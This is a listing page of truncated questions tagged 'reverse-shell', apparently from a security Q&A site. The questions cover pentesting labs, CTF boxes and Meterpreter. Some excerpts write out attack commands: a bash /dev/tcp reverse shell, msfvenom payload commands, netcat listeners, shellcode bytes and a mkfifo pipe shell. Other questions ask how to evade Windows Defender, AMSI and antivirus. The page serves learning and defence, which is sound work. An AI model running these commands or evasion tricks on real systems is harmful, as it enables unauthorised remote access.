Questions tagged [reverse-shell]

The tag has no usage guidance.

Filter by
Sorted by
Tagged with
0 votes
0 answers
7 views

Chain apache web server acting like reverse proxys using proxychains

I've configure multiple apache web servers so they filter the request and if they have a specific request_uri the request would be redirect to a c2 server. I do that with the next line in the apache ...
user avatar
  • 5
0 votes
0 answers
15 views

Meterpreter shell re-enter previous/next command

After a Meterpreter session has been established, you can start an interactive shell on the target host using the shell command. In the shell, I'm trying to switch between previously entered commands ...
user avatar
0 votes
0 answers
27 views

Is it possible to reverse the connection of a client connected to a Google Meeting?

I was watching some videos of Jim Browning on Youtube and I have noticed that he reverses the connection of the scammer and gets remote access to their devices. So I was wondering about the risks that ...
user avatar
2 votes
1 answer
132 views

Reverse Shell for managing unreachable remote computers

In the near future, I will have about 50 remote computers to manage. These will be physical PCs running Debian 11, distributed all over the country. They will automatically perform a special kind of ...
user avatar
  • 123
1 vote
1 answer
156 views

Payload uploaded but error : "no session was created"

I'm doing a capture-the-flag challenge (similar to HackTheBox) and I can't figure it out despite looking at many workarounds how to solve my issue. I did: nmap --> got port 8080 firefox -> 10....
user avatar
  • 113
1 vote
1 answer
316 views

Reverse PHP shell exit when netcat listening

My reverse shell is exiting when i lsten it with netcat: here is netcat output: listening on [any] 5555 ... connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602 bash: cannot set terminal ...
user avatar
0 votes
1 answer
159 views

Getting reverse shell from firewalled target

Suppose this scenario: You are already inside a corporate network. Suppose to find out a RCE in a X service. The machine that hosts that service is behind a network-based firewall, ingress rules and ...
user avatar
  • 13
0 votes
0 answers
132 views

Question regarding the execution of reverse shells in cron

I have some doubts as to how cron executes commands and its output. Suppose I have the following cronjob: */5 * * * * root /home/user/shell.sh. shell.sh: #!/bin/bash echo "hello" bash -i ...
user avatar
  • 101
0 votes
0 answers
172 views

Can I inject shell in the below php code?

How I can inject a shell command in the below code? <?php if (isset($_POST['search'])) { $res = trim(shell_exec("findstr /l /m /s \"" . $_POST['search'] . "\" ...
user avatar
1 vote
2 answers
3k views

Upgrading a reverse shell with stty raw -echo doesn't work

I successfully got a reverse shell: nc -lnvp 8000 # in Kali /bin/bash -i >& /dev/tcp/192.168.6.1/8000 0>&1 # in the victim machine I tried to upgrade it in the standard way: python -c '...
user avatar
1 vote
1 answer
2k views

Suspicious HTTP Requests in my logs [duplicate]

I'm running a PHP application with a user management system called userspice. It basically allows you to include the userspice PHP file and then control access to a certain PHP page. As I have seen ...
user avatar
1 vote
0 answers
540 views

PHP reverse shell is not responding back [closed]

I created a php reverse shell using msfvenom utility like: msfvenom -p php/meterpreter/reverse_tcp LHOST=<MY_IP> LHOST=4444 -f raw > reverse_shell.php And I created a listener using ...
user avatar
2 votes
0 answers
257 views

Why a curl piped bash command works but not the direct command? [closed]

So im doing some pentesting in a TryHackme box (Chill Hack) and I've come to some trouble. In this box I have available an input in a website where I can inject commands to the vulnerable system. This ...
user avatar
2 votes
2 answers
385 views

Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
user avatar
3 votes
1 answer
4k views

How do I stabilize a reverse shell in when the attack box is using powershell?

So I've managed to get a version of netcat onto my windows machine and I can run the standard: nc -lvnp 1234 and this properly connects to the victim's machine, but it's a very fragile connection. ...
user avatar
1 vote
1 answer
182 views

Reverse shell with python client side becomes detectable after converting with pyinstaller as exe file

When converting the reverse shell client.py python file to exe with pyinstaller it becomes detectable as a trojan on virustotal.com with most antivirus. Here is my client file: import os, socket, ...
user avatar
  • 111
0 votes
2 answers
166 views

UFW does not block meterpreter

I am doing some pen testing on my wordpress server. I wanted to see what would happen if the attacker were to get a hold of my username and password for wordpress. So I used the standard exploit in ...
user avatar
  • 1
1 vote
1 answer
226 views

Meterpreter Session died [Bwapp]

I just set up a lab with bwapp and wanted to jump straight into webshell. I used Unrestricted file upload vuln --> uploaded my perfect shell created with msfvenom. My only problem is that my ...
user avatar
  • 21
2 votes
1 answer
3k views

Connect msfvenom reverse shell without metasploit

For most reverse shell here, I can simply use netcat to connect: nc -nlvp 1234 But for reverse shell created by msfvenom, for example: msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.7 ...
user avatar
  • 818
0 votes
0 answers
253 views

Access to Reverse Shell from another network

If when we have a reverse shell and get persistence and we try to access the compromised target from another network different from the one which we created the payload, is that access to the ...
user avatar
0 votes
0 answers
244 views

Reverse shell from backdoor - exposing attacker? [duplicate]

If an attacker successfully installed a backdoor that connects to his computer via a reverse shell, how can the attacker hide his IP address? I'd guess he can't use Tor or a VPN, because packet ...
user avatar
2 votes
0 answers
829 views

Unable to start reverse shell over HTTP

I am able to get a reverse shell working locally over TCP, but failing to trigger it remotely over HTTP. Locally over TCP: Attacker terminal runs netcat to listen for a connection over port 8000: nc -...
user avatar
  • 21
0 votes
1 answer
1k views

LFI to RCE through User-Agent

I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
user avatar
1 vote
1 answer
2k views

Help Understanding PHP Reverse Shells

I have recently done two different hackable VMs and had to take, after reading walkthroughs, two different approaches. For Fristileaks 1.3, it was simple. I was able to get login credentials to the ...
user avatar
  • 11
0 votes
0 answers
85 views

Why to use Reverse Shell? [duplicate]

I know that reverse shells get the victim to connect to us, but I heard that people mostly use reverse shells Why use reverse shells when hacking a network outside our local network as we have to do ...
user avatar
0 votes
3 answers
217 views

Php intermediate shell [closed]

Is there any way that i can use the compromised website as the shell What i am trying to achieve is to get a reverse shell on the machine,not a webshell.The target machine has a website hosted on it ...
user avatar
0 votes
0 answers
491 views

Kioptrix 2: Why netcat reverse shell executed in web browser via command injection bug doesn't work?

I've completed kioptrix level 2 challenge via sql injection, command injection, bash reverse shell, and local privilege escalation as part of my OSCP preparation. https://www.vulnhub.com/entry/...
user avatar
  • 347
0 votes
1 answer
354 views

When using metasploit with my python reverse shell script I get a byte error, but it seems to work fine when using a netcat listener

When I run my python script and use netcat -nvlp 4444 the connection establishes fine and I am able to use the functions. When attempting to replicate this in metasploit I use set payload windows/...
user avatar
0 votes
1 answer
100 views

How do you securely give access to a Java App interactive console (Linux/GNU)?

I have a Java App running, which prints out messages into STDOUT and also has an active interactive console (also accepts STDIN), when the server has started up. How do I securely give access to an ...
user avatar
2 votes
1 answer
2k views

Bypass AMSI Windows 10

I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it? In a file I store the payload $client = New-Object System.Net....
user avatar
  • 477
-1 votes
2 answers
317 views

Hide reverse shell window launched with HID attack

GOAL: the attacker insert into a victim's laptop an USB which act as a keyboard. The payload opens a terminal, executes a reverse shell and hides the terminal. PROBLEM: the tests I did locally (...
user avatar
  • 477
0 votes
1 answer
5k views

What is bindshell backdoor?

I just found out a bindshell backdoor, but I don't know how to access/connect to it using Metasploit. I'm a beginner with exploiting; is there a way to access the backdoor? I tried to search for "...
user avatar
  • 5
1 vote
1 answer
2k views

Getting an Interactive Powershell Reverse Shell Using socat

I've read that socat is capable of creating interactive shells. I'd like to create an interactive Powershell shell. Kali Listener # socat - tcp4-listen:1338 Windows (socat.exe used from here: https://...
user avatar
0 votes
0 answers
33 views

How is it possible for people to reverse a GoToAssist session? [duplicate]

I am puzzled by how people on Youtube bait scammers into connecting to their machines and end up "reversing" the connection on them. Essentially controlling the scammer's PC. Is this done via reverse ...
user avatar
  • 265
1 vote
1 answer
1k views

I set up a successful reverse shell but my commands return nothing

I recently successfully uploaded an msfvenom binary payload into a Windows server 2008 VM. My netcat listener displays the following message: connect to [lhost ip] from (UNKNOWN) [rhost ip] 49155 ...
user avatar
0 votes
0 answers
176 views

Spawned reverse shell will not run additional commands

I am new to this, so I applogise if this is a silly question! I have created a reverse shell on a Windows box using an exploit script and the following MSFVENOM to create a reverse shell. msfvenom -...
user avatar
1 vote
1 answer
746 views

Why is a bind shell sometimes blocked when a reverse shell is not?

I understood the difference between them. The problem is I am not sure when to use each. I mean, if a firewall will block my connection to the target when I use bind shell, why the connection will not ...
user avatar
3 votes
1 answer
232 views

How to detect backdoor/root shells?

Let's assume I'm a user with root access to a machine and I'm a legit user. My machine/server runs Linux. I'm not very familiar with defensive security (I mainly practice offensive). Sometimes, ...
user avatar
0 votes
1 answer
5k views

Metasploit - Does the multi handler sends the payload, or just listens for connection

Does the metasploit module: exploit/multi/handler sends payloads to stagers? Or does it just listens for an incoming connection like a netcat listener? Or does it do both, as needed?
user avatar
  • 335
0 votes
1 answer
1k views

Executing shellcode in python format [closed]

So after running the command: msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.31 lport=8080 -f py I receive the output: buf = b"" buf += b"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\...
user avatar
2 votes
0 answers
138 views

Reverse TCP - Bind to a specific port

So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
user avatar
0 votes
1 answer
7k views

Command injection — filtering bypass [closed]

I am testing a python script that provides a ping function os.system('ping ' + command) all of this characters are filtered '&', ';', '-', '`' , '||', '|' i can't use null bytes like %0A i'...
user avatar
1 vote
2 answers
522 views

Metasploit multi handler reverse tcp connection

Can we listen for 10 connections at once using any options present in Metasploit.
user avatar
0 votes
2 answers
269 views

Unable to execute PHP, throws 500 error. Able to upload and execute all others

I managed to upload a PHP shell using an upload form with some tweaking. No such restrictions except it renames the uploaded file to md5. But when I tried to execute the shell, It shows a 500 error. I ...
user avatar
0 votes
1 answer
9k views

Can't get a reverse shell [closed]

I'm doing my OSCP certification. On one of the lab machines, I'm having a really hard time getting a reverse shell. I scanned the machine and found port 80 open. I enumerated even more and found a ...
user avatar
  • 63
1 vote
2 answers
8k views

Can pipe | shell | nc > pipe achieve remote shell?

In one of the articles I have came across an exploit of Dell devices that said when you trigger the following line of code (executed somewhere in php) you will get a remote root shell : mkfifo /tmp/...
user avatar
  • 157